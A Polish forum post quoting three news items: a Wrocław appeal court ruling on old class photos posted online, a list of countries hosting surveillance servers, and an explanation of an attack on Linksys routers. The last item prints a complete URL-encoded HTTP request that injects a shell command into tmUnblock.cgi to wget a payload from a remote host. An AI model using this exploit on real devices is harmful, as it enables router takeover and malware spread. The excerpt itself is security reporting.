[andy]

W dniu 30 stycznia 2014 r. Sąd Apelacyjny we Wrocławiu (sygn. akt I ACa 1452/13) rozstrzygnął prawomocnie ten istotny spór ***8211; oddalając apelację powoda i w efekcie przyznając słuszność administratorowi portalu.

Spór toczył się przez blisko 3 lata. Sporne, czarno-białe zdjęcia (zrobione w szkole podstawowej, ponad 30 lat temu) zostały zamieszczone w portalu przez byłych uczniów klasy, do której uczęszczał również powód. Jedno ze zdjęć zostało opatrzone podpisem, w którym inny użytkownik portalu wskazał imiona i nazwiska niektórych uwiecznionych na nim osób.
Powód dochodząc usunięcia swojego wizerunku z portalu powoływał się na ochronę wynikającą z prawa autorskiego, z regulacji dotyczących danych osobowych oraz wreszcie na przepisy dotyczące dóbr osobistych.

Czekając na pisemne uzasadnienie orzeczenia Sadu Apelacyjnego, jako podsumowanie można przytoczyć słowa Sądu Okręgowego we Wrocławiu, który orzekając w I instancji stwierdził ***8211; ***8222;Mówiąc potocznie, nic złego się nie stało i stać się nie mogło***8221;.

http://www.olesinski.com/spor-o-publ...ie-zakonczony/

--

Polska występuje na liście 21 krajów, w których zlokalizowano serwery odbierające ruch z inwigilowanych komputerów. Występujemy w zaszczytnym gronie krajów takich jak Kolumbia, Panama, Oman, Arabia Saudyjska, Zjednoczone Emiraty Arabskie, Egipt, Etiopia, Maroko, Sudan, Nigeria, Kazachstan, Azerbejdżan, Malezja, Tajlandia, Uzbekistan, Włochy, Węgry, Meksyk i Korea Południowa.

http://zaufanatrzeciastrona.pl/post/...cego-obywateli

Na czym polega atak

Odkryto, że nie dość, że jeden z parametrów skryptu obsługującego blokowanie i odblokowywanie stron dostępnych za pomocą rutera jest podatny na wstrzyknięcie dowolnego polecenia powłoki, to na dokładkę wykonanie tego skryptu odbywa się bez weryfikacji uprawnień użytkownika.
Przykładowy atak wygląda tak:
POST /tmUnblock.cgi HTTP/1.1 Host: 192.168.0.1:8080 User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1:8080/ Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 518 %73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68% 61%6e%67%65%5f%61%63 %74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65% 3d&%61%63%74%69%6f %6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e %75%6d%3d%32&%74%74 %63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70% 3d%2d%68%20%60%63 %64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%2 0%2e%4c%32%36%20 %5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3 a%2f%2f%xx%xx%2e %xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%3 0%52%78%2e%6d%69 %64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31 Autoryzacja co prawda jest wymagana, jednak hasło podane przez użytkownika nie jest weryfikowane.

http://zaufanatrzeciastrona.pl/post/...terow-linksysa